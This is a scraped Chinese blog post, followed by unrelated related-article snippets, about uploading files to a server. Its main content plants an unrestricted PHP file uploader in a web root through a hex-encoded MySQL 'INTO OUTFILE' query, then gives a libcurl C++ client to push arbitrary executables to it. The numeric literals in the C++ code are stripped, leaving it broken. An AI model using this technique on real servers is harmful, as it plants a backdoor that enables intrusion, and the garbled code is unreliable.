http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章,因为当时就已经想到了模拟上传,但是因为时间关系,所以就直接用PHP写了。现在改进一下,用VC+libcurl库。

 

我们也直接可以用MYSQL写入这段上传代码就可以了。

select 0x3C3F70687020696628245F46494C45535B2766696C65275D5B276E616D65275D20213D20222229207B20636F70792028245F46494C45535B2766696C65275D5B27746D705F6E616D65275D2C20245F46494C45535B2766696C65275D5B276E616D65275D2920206F7220646965202822436F756C64206E6F7420636F70792066696C6522293B207D20656C7365207B20206469652820224E6F2066696C65207370656369666965642220293B7D3F3E into outfile 'c:\\xampp\\htdocs\\upload.php';

upload.html

<form action="upload.php" method="post" enctype="multipart/form-data">
File:
<input type="file" name="file">
FileName:
<input type="text" name="name">
<input type="submit" name="submit" value="Submit">
</form>

upload.php

<?php if($_FILES['file']['name'] != "") { copy ($_FILES['file']['tmp_name'], $_FILES['file']['name'])  or die ("Could not copy file"); } else {  die( "No file specified" );}?>

VC代码:

// curl_uploader.cpp : Defines the entry point for the console application.
// #include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <curl/curl.h>
#pragma comment(lib,"libcurl.lib"); int http_post_upload(char* Urlpath,char* uploadname)
{
CURL *curl;
CURLcode res; struct curl_httppost *formpost=NULL;
struct curl_httppost *lastptr=NULL;
struct curl_slist *headerlist=NULL;
static const char buf[] = "Expect:"; curl_global_init(CURL_GLOBAL_ALL); /* Fill in the file upload field */
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "file",
CURLFORM_FILE, uploadname,
CURLFORM_END); /* Fill in the filename field */
// curl_formadd(&formpost,
// &lastptr,
// CURLFORM_COPYNAME, "name",
// CURLFORM_COPYCONTENTS, tempname,
// CURLFORM_END); /* Fill in the submit field too, even if this is rarely needed */
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "submit",
CURLFORM_COPYCONTENTS, "Submit",
CURLFORM_END); curl = curl_easy_init();
/* initalize custom header list (stating that Expect: 100-continue is not
wanted */
headerlist = curl_slist_append(headerlist, buf);
if(curl) {
/* what URL that receives this POST */ curl_easy_setopt(curl, CURLOPT_URL, Urlpath);
/* if ( (argc == 2) && (!strcmp(argv[1], "noexpectheader")) ) */
/* only disable 100-continue header if explicitly requested */
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
//
/* Perform the request, res will get the return code */
res = curl_easy_perform(curl);
/* Check for errors */
if(res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res)); /* always cleanup */
curl_easy_cleanup(curl); /* then cleanup the formpost chain */
curl_formfree(formpost);
/* free slist */
curl_slist_free_all (headerlist);
}
return ;
} int main(int argc, char *argv[])
{
char* url = argv[];
char* Filename = argv[]; if (argc < )
{
printf("[-]:%s Upload_url upload_Filename\r\n",argv[]);
printf("[-]:%s http://192.168.1.1/upload.php c:\\test.exe\r\n",argv[]);
exit();
} int res = http_post_upload(url,Filename);
if (res != )
{
printf("\r\n[-]:upload error->Getlasterror:%d\r\n",GetLastError());
}else
{
printf("\r\n[+]:upload sucessfuly \r\n");
}
return ; }

vc libcurl 模拟上传文件的更多相关文章

  1. C语言 HTTP上传文件-利用libcurl库上传文件

    原文  http://justwinit.cn/post/7626/ 通常情况下,一般很少使用C语言来直接上传文件,但是遇到使用C语言编程实现文件上传时,该怎么做呢? 借助开源的libcurl库,我们 ...

  2. 一个Jmeter模拟上传文件接口的实例

    资料参考:https://blog.csdn.net/u010390063/article/details/78329373 项目中,避免不了要用到很多上传文件.图片的接口,那么碰到这类接口该如何进行 ...

  3. 使用WebClient Post方式模拟上传文件和数据

    假如某网站有个表单,例如(url: http://localhost/login.aspx):帐号  密码 我们需要在程序中提交数据到这个表单,对于这种表单,我们可以使用 WebClient.Uplo ...

  4. libcurl post上传文件

    #include <stdio.h>#include <string.h> #include <curl/curl.h> int main(int argc, ch ...

  5. 使用postman模拟上传文件到springMVC的坑:the request was rejected because no multipart boundary was found

    参考该文解决问题:http://blog.csdn.net/sanjay_f/article/details/47407063 报错 threw exception [Request processi ...

  6. 【转】asp.net(c#)使用HttpWebRequest附加携带请求参数以post方式模拟上传大文件(以图片为例)到Web服务器端

    原文地址:http://docode.top/Article/Detail/10002 目录: 1.Http协议上传文件(以图片为例)请求报文体内容格式 2.完整版HttpWebRequest模拟上传 ...

  7. Python模拟HTTP Post上传文件

    使用urllib2模块构造http post数据结构,提交有文件的表单(multipart/form-data),本示例提交的post表单带有两个参数及一张图片,代码如下: #buld post bo ...

  8. 通过PHP CURL模拟请求上传文件|图片。

    现在有一个需求就是在自己的服务器上传图片到其他服务器上面,过程:客户端上传图片->存放到本地服务器->再转发到第三方服务器; 由于前端Ajax受限制,只能通过服务器做转发了. 在PHP中通 ...

  9. php Socket模拟表单上传文件函数_学习

    模拟上传文件的php代码 里面访问地址.主机.上传文件名.内容.分隔符可以修改   function postFile($file) {     $clf = "\r\n";   ...

随机推荐

  1. 有些有IP的项目,公司不至于测试不行砍项目,但是会砍项目组,把IP收回交给别的团队做(因为一旦一测数据太差,公司(投资人)会判断在二测的时候数据能提升到什么样。说白了就是历史信用问题)

    作者:匿名用户链接:https://www.zhihu.com/question/309778033/answer/579761064来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载 ...

  2. HTML容易遗忘内容(二)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> ...

  3. MySQL 最基本的SQL语法/语句

    DDL—数据定义语言(Create,Alter,Drop,DECLARE) DML—数据操纵语言(Select,Delete,Update,Insert) DCL—数据控制语言(GRANT,REVOK ...

  4. 012-基于 git hooks 的前端代码质量控制解决方案

    原文看这里:https://github.com/kuitos/kui...全部文章看这里 https://github.com/kuitos/kui... 国际惯例先说下故事背景 通常情况下,如果我 ...

  5. RocketMQ Java 客户端实现

    本章介绍使用 Java 实现RocketMQ 的客户端. 以及各种消息的方式的实现. 本章实现了以下几种消息的实现方式: 一:普通消息 普通的消息分为三种: 1> 可靠的同步消息 可靠的同步传输 ...

  6. 【IO】- 关于ByteBuffer的一点认识

    我们经常使用ByteBuffer. 通俗的Non-DerictedByteBuffer结构如下 HeapByteBuffer extends ByteBuffer { Byte[] array; in ...

  7. 在MFC中使用一个单独的类实现数据在各个类之间的传递

    第一步:使用VS2010创建一个基于MFC的单文档程序,然后  编译 运行 确定没有问题. 第二步:添加一个名叫CGszCommonData  类. 第三步:在应用程序类的头文件里 添加#includ ...

  8. android 带listview对话框

    package com.example.dialog2; import android.os.Bundle;import android.app.Activity;import android.app ...

  9. python介绍和基础(待补充)

    python的介绍 把命令放到一个文件中,文件还能执行,这样的语言叫shell脚本 写一个c语言程序,.c结尾的,gcc运行c语言程序,生成.out文件,然后执行.out文件 c语言是先编写代码,再编 ...

  10. vs git 推送远程会失败.

    Gitblit使用admin创建版本库.   使用VS无法推送到远程服务器. VS 2017 Git failed with a fatal error 可能是帐号不应不上.   本地上帐号与服务器的 ...